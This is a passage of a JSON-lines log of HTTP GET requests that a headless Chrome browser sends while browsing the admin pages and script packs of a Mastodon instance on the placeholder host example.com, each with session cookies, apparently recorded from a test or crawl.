_mastodon_session=5DSuCHGu0UQ9v0pjooV2%2BsCJRJ77ODBg4qoGDyx1UbespweUiRMhMQpE6hyDEgXcvuHhMrTyKSF9n17EPlsivJOh1dcasfgyXC9CZqJql%2BokU90Lh99wjlvYtwuuphFzV5feireHROmj0OU10acANYRrDL%2BjY4Mdxk%2Fv72%2BYlJHOENH7QCYfB38dobmrZpTLftZcvVt3EWTuzVX653eSZPMGYKZ3FpKOgW990agSqXGtYbMtfjQ9FQUn9woDAlgwLGsbTeEAIXu2PWCcgu3pvvh003qYkbvqbcLfEHTkFsl996JUqRl9Nln8TpARpCCAuaBY2uBnuztfnSxGM%2BlGmbXtixxw%2B4D52jThyxu2IJnYx1kvB7rtjRXeDId4d4BLmx7aTvy8FC0E--MLfark95SAh84Tqa--NQV0DE0W%2B5LohZU9zMuqEA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/throttle-DJD3CaHb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/content_retention", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDUuMTc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea66ad57c7fc6a1963fb5f4ecaa0c77b97bc14f3; _mastodon_session=W%2BYRDAFlL3XcXBJ6d%2BvoxNjWTKambeyU1Yw5lNA%2Bq4PTMeo3chc42HECv5YzaxXw77Q7krxdmfIAhCGVMv%2FvAPsEP1nq2SzYTeRSoJ2RyRs8t7WA%2FPDEVKHo%2B9JWNnRp5Wn%2BVCWpfnp045LLeRg2tUfjXNpmGYN3AI55mKI1dTGsu21xsUcmSjeHyMhMlFGwhEq7IGqHAgExLGsItN1NEBdrHnZiWL1hohRX%2B2DGHJzbkrpnevPiGxs%2FCVwL77%2FJZHKHOwRFvyFJnS1tdmrVJroZfcQuiB%2BslOdrB9H%2FXmGSRtQd5ooF2q6V3yv%2BD%2FnMfAa3teKWdM%2Fv5jz2P9G3rwZKtv83EzLkRLHzvqIwNS9HzR103jjiz6O7gHcItL0ZJ0tVZA6u7f%2Fz--9RJDmsBidy5FZTvM--OGCb4tNNPvCCCYcUoLdidg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/discovery", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDUuMTc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea66ad57c7fc6a1963fb5f4ecaa0c77b97bc14f3; _mastodon_session=W%2BYRDAFlL3XcXBJ6d%2BvoxNjWTKambeyU1Yw5lNA%2Bq4PTMeo3chc42HECv5YzaxXw77Q7krxdmfIAhCGVMv%2FvAPsEP1nq2SzYTeRSoJ2RyRs8t7WA%2FPDEVKHo%2B9JWNnRp5Wn%2BVCWpfnp045LLeRg2tUfjXNpmGYN3AI55mKI1dTGsu21xsUcmSjeHyMhMlFGwhEq7IGqHAgExLGsItN1NEBdrHnZiWL1hohRX%2B2DGHJzbkrpnevPiGxs%2FCVwL77%2FJZHKHOwRFvyFJnS1tdmrVJroZfcQuiB%2BslOdrB9H%2FXmGSRtQd5ooF2q6V3yv%2BD%2FnMfAa3teKWdM%2Fv5jz2P9G3rwZKtv83EzLkRLHzvqIwNS9HzR103jjiz6O7gHcItL0ZJ0tVZA6u7f%2Fz--9RJDmsBidy5FZTvM--OGCb4tNNPvCCCYcUoLdidg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/axios-0On1V31i.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/discovery", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDguMTgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d390a921649454c7b9b1431a575f9d74aedd6971; _mastodon_session=dUDcD37eOzq50lmYnza3bo2hnpa4%2BfHuFk7Or8uIjPCj3mJ%2FGUhj5%2BX9YAswUkaKijYtVkliQhBTwL66uC2xzdQRQIAxIqmIcrMNb1cljBvcRkwrmr%2FDrvjRR8viLdOOcSk4UOOtRdEdVokKK8YdOWgSo0kK4w14fOCXCj7uY14Q7HjwP1V8v86Ce3TbW%2FwClzqBTeoJgphpSLg0ajpHmkRS%2BjJI4e8xwvjZ3d3IvBqn%2FqsqWFAQL8j5pTIZnIVxXbiWJHaPK56i9WCwSQLOnI%2BMOMsTuD3qBr1ZYGw9ISMiXhvaWPvCvOhXYF%2BfgA2%2FmKd4HSLdn84banWuOwJ%2B4Fr1VHX5MV2u4lDJsw5s%2ByIA1jaRpixC2LUECUKu25KweVFH%2FFUcnBmv--XTgEY4dvioDMj1V%2F--5k1JSUDABaTZYGCZMhHc9w%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDguMTgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d390a921649454c7b9b1431a575f9d74aedd6971; _mastodon_session=dUDcD37eOzq50lmYnza3bo2hnpa4%2BfHuFk7Or8uIjPCj3mJ%2FGUhj5%2BX9YAswUkaKijYtVkliQhBTwL66uC2xzdQRQIAxIqmIcrMNb1cljBvcRkwrmr%2FDrvjRR8viLdOOcSk4UOOtRdEdVokKK8YdOWgSo0kK4w14fOCXCj7uY14Q7HjwP1V8v86Ce3TbW%2FwClzqBTeoJgphpSLg0ajpHmkRS%2BjJI4e8xwvjZ3d3IvBqn%2FqsqWFAQL8j5pTIZnIVxXbiWJHaPK56i9WCwSQLOnI%2BMOMsTuD3qBr1ZYGw9ISMiXhvaWPvCvOhXYF%2BfgA2%2FmKd4HSLdn84banWuOwJ%2B4Fr1VHX5MV2u4lDJsw5s%2ByIA1jaRpixC2LUECUKu25KweVFH%2FFUcnBmv--XTgEY4dvioDMj1V%2F--5k1JSUDABaTZYGCZMhHc9w%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/domain_blocks/new?_domain=spam.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTEuMTcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--652e324b3683ef5d0a7247fa62edc89f5f65cde9; _mastodon_session=i%2FWyOetWrF3Elz8DxqU2fGZ%2BdLjMAGugYAZsHuDH6gJhDYhH3dON6xjpSZmBlheevw4Up4zxf9KGvtvYzjeSbWisn4DpP8V4XOtKpG73wZH9MRkkCmAKB%2Fq2Q%2FN9h%2Be1Uf9UiJt2Y2MQZ1VzxMlmHMzRyEoBq6Fn%2FY0urtcTc5iVeRFDyHytWJCkntPhlQqPa8Dv7FpZGz4drJ%2BSKHNPG4DkI0A1OB%2BnB4wRC2CKG2X1kmoktqbcqJkpr%2BN3bWHBu5TDMKKa1jbSMBmhecRUMCX%2BE2k2iXy6eR98nIz%2B0AIHMqksg49JFRUP3Hkz%2BtUbmw86XWuFEMMM2taER7E%2BtCp34oOXjy0%2FINsM5nULIPpVVk3vCLN9MVhI9JJiw0mOy04%2BPG1FWfOj--Zw3RxKnvAhvCUPKu--nEyrCjhp9MTeoFb%2BpNYgjg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/locale-D-1rLaCQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/domain_blocks/new?_domain=spam.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTQuMTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f15a7254c8c6644bf5a61b4d7d6da1831627d811; _mastodon_session=36kr%2FwxkxqtvacFejAgITOOxTfkTW6e6njRqGLwpKYMkic7kTjznQJOg2sJi8uwOx0q8A%2FAdSsVAbo7rp3uYgUe0%2FXQxY68BN4RLP%2FMewevr2KrOtlW6xKvoxSYd%2FmpN4y81ZsZ0MkD8tFYI1FqZiG%2BxEHpNVGkCqh8zvUZiw7I%2BQJAWlkJ85odpllXS33gsA%2FhMc8p5cYxS6x56wS4wXKwqIjwr%2BWb9ArYh8I%2B2Mw3V7wCz8dGIpId5htc2zw1EXXq%2FXXPqX8kJ6DmBMG6FGG2J069PP5weBXZhmUWzayvCH%2BX33y%2FFCAOaUioVk5jh%2FC1ERf42vqPyTR2O86OI%2FIuguFrhQZBhAOVa%2FZ5%2FsKXnLHnfm42EinKIjdsKHBLl%2FEgTENZQirW5--1jubfsoXN%2BekAxaT--Y8eJCV32gItIwWHP4PscPA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/email_domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTQuMTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f15a7254c8c6644bf5a61b4d7d6da1831627d811; _mastodon_session=36kr%2FwxkxqtvacFejAgITOOxTfkTW6e6njRqGLwpKYMkic7kTjznQJOg2sJi8uwOx0q8A%2FAdSsVAbo7rp3uYgUe0%2FXQxY68BN4RLP%2FMewevr2KrOtlW6xKvoxSYd%2FmpN4y81ZsZ0MkD8tFYI1FqZiG%2BxEHpNVGkCqh8zvUZiw7I%2BQJAWlkJ85odpllXS33gsA%2FhMc8p5cYxS6x56wS4wXKwqIjwr%2BWb9ArYh8I%2B2Mw3V7wCz8dGIpId5htc2zw1EXXq%2FXXPqX8kJ6DmBMG6FGG2J069PP5weBXZhmUWzayvCH%2BX33y%2FFCAOaUioVk5jh%2FC1ERf42vqPyTR2O86OI%2FIuguFrhQZBhAOVa%2FZ5%2FsKXnLHnfm42EinKIjdsKHBLl%2FEgTENZQirW5--1jubfsoXN%2BekAxaT--Y8eJCV32gItIwWHP4PscPA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTcuMTI3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e14306d2e3edc5e975e433650876ac1abe3a21b; _mastodon_session=cIskdpErqjQxTYnHGuTERxVtPRw1KfyZw1vZuXP9OwJqp8P%2FzOxtx34A9u0ewTnzsBU0yDI%2FlNJoCX9rOpgGLsua49XZBrZYsQnHEsPA2C%2FKAsh0Bwsinbz6ubX%2F%2B2LQNw4Oy4m%2F54GtYIJueALcGGhHjAtULWM9uJ1HRKj7%2BSUr1S%2B%2FuQGzwGhfSF1UMPfsbi%2FM1kxtiCvPZcBHvxKsBoKsZ5Ozb9xOSatcugHBy4Y3b2HR3cW0sHhH8DOjyO1pt5bSwDjgfVYis1QEwuiZYaPNO7VoyDkjfMnfyH0D0RsggXamY1ItaFBxrzJ9DOWmihcYE7ZPmXywXaWcwiEvTzWP4UDZht8JIiO%2Bt5PrAkIIhmkbz2KDqx%2BS%2Fpnb9K00YH1Ec%2FEYvRBx--fGe7ehdTVIBj8H0Q--yVnguTal69ryW8c4BNFIeQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDAuMDczWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--942434b61d50b3c527aad2664ca14b94d2221ead; _mastodon_session=bYnycQMY5qiM39c74S1GA05HxzfVtKiyrnHjCnsUGdh2zG2FhWHR0ZxqlR6PUZBttX5YAUqzBDiO72SNvRqUd6Nv55KIqDir7S284R%2BWOAGpEjhtqZ7M2eY3%2BUHZ9JkjA%2BFGq3P8xVid1oDDL0aBdhYbXTVs9FnWB6Kpj07Gh8PiaiEP%2B85DJp6VAMjgUZTQHOVvNUuQoOronACMIHSmLl4aBpV%2Fz8mDt5tNwHC11Djpeh1p%2FijXt%2FZJWu4LC3UA2Ob7K3Q7RZgzr5v6axigz%2FONjZ3Nh5u9KNIov7PWvv9HCvGOrRkvGkXFbZ2sPFp8AHU8gjCdz%2FrmSJdeP8brljI2B%2B7o4PPeDSLktoZ8gQviRkWM%2BYTstWjz5QAHS0Fm7KEbd2mAN84x--zeJcEdwvN7%2BuWYpc--UzKBsZ820OZrsahO5z4DZA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDMuMDE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9fa1e040339894c6785bcadeaabcf556417a006; _mastodon_session=ToR1W6l%2FudKsCEUpS%2BBeS%2BWFeYRHFbkYT%2F9E4XcGcyR5s9FDbkDIWnoXeweF547hyZ4rtPM%2BhYbBYu%2FzhPl5WF48%2FDDHHHFTYF6HD38EZlR0sALgHV6KgBpirM1s4Dm1uFhLzInspzuldFfBOBe2cmRVqxbAlLxZw0jsb0KSZ%2BQkhvzIn%2F509CzJThqR3XZzigW%2BHg8HRQVengAL9PBDpb79qtmRiz4DK0CDEc6pgPT7F7jB5j2vDvIYnfuNyrCYQDK9j3WozZgz6urg0wpidYhCRzAYNvB8aWVc%2BIWlLPNqtaOAO6nCDZyb1v4R1mDKkBAaU6QX7sZfBAVQ82ULVftPGVVFXqmfl6YPe9GY6RFav6kPaoVmKspaYoK9cyymRxRSA%2F%2BKUb3x--c2LWLc806nMJkgrg--t168hdH6FtZRep%2BixjNbxw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/webhooks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDYuMDI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cc7a8fd61fec7b2f55af34e70367e7dd85957ad3; _mastodon_session=u2JgU9Ik%2BkfWUq8KMct%2FE%2FQwvIGLXFyjZq3dY%2B3dFN8LWw7TJS597QlwkGj%2BYYihEkS7cJ963I1LBl4HOR%2BSOD7cORUU8PVImoQ6dDee1KiboqqILoXGy2%2FtYUPo8NZXBqG2ytw%2FEFnHmk0el4msVb9mwGi7bJKgdUkaBD6PTmuW6o4bVbmZ8ZYgt7IVGJaWb%2BryncBXnABZd6e4ZJyI56iiQDLqiDy6xUr5q8Vp%2BGds%2FO4oP8rvz4DBl7%2BfO67H6UEFz6bp6Y%2BVeA1IaG8OsjAiOZ1pRx%2BAPsZWYNkUP1ELe5L%2F3N0A6Wzp0LwJ5qDcZYejgwRNKoAPgnfG2OC4KZW6SkV2k%2B77TsweMwgl3WyMur2YZMnAqriuBN818Aad7LqO8d9WbDFN--mp%2B9I3RwgY4KX3J%2F--87TZw6ig9eW9RoDocZJDGg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/preload-helper-HclGiUj8.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/webhooks", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDkuMDM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a1f60da3bede3da55b897b74893513074e95154f; _mastodon_session=o5k4YXJeWOoS41GrQEwY9Q7FlMoRWIxFjrer%2BRkN72hM38uN%2B%2Fl0xc1uxSbB6NmtklKb2Bn2r6csSHqyqErjGpALh4S6RcUovqCrgo7Zy7OH0pa9%2F2YHAa7klhs2bi98758saOVf6B07RSa0NI5%2BkmE10Q6auafWoesg9ZOErnWbItZ38ETX12%2B4R7Xav2S4PpT%2BxI5giigLVJBMXrYebPMajcb1%2BztQ4Ik7PEhQhkzmF6KW0PHLJQvwNn46EMGoqJWSEjx%2B5SCwmW86egJXWKmU0I7es46yJVIDlj7DAUgv2CxJGn%2BxYfq9D3Qv0lwUbSyVgwNTtqRBe9%2Fn4Uimm%2F%2FzOLqXru5w4eewDpxyjwMAvtnA11Q51YH0wJWrM21J3buNZywCQ%2BhU--GwqTSSVV9kJ3e8YE--2B8wWkxMprnnDQu3%2Ff0FUg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/software_updates", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MDkuMDM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a1f60da3bede3da55b897b74893513074e95154f; _mastodon_session=o5k4YXJeWOoS41GrQEwY9Q7FlMoRWIxFjrer%2BRkN72hM38uN%2B%2Fl0xc1uxSbB6NmtklKb2Bn2r6csSHqyqErjGpALh4S6RcUovqCrgo7Zy7OH0pa9%2F2YHAa7klhs2bi98758saOVf6B07RSa0NI5%2BkmE10Q6auafWoesg9ZOErnWbItZ38ETX12%2B4R7Xav2S4PpT%2BxI5giigLVJBMXrYebPMajcb1%2BztQ4Ik7PEhQhkzmF6KW0PHLJQvwNn46EMGoqJWSEjx%2B5SCwmW86egJXWKmU0I7es46yJVIDlj7DAUgv2CxJGn%2BxYfq9D3Qv0lwUbSyVgwNTtqRBe9%2Fn4Uimm%2F%2FzOLqXru5w4eewDpxyjwMAvtnA11Q51YH0wJWrM21J3buNZywCQ%2BhU--GwqTSSVV9kJ3e8YE--2B8wWkxMprnnDQu3%2Ff0FUg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/reports?account_id=1&by_target_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", 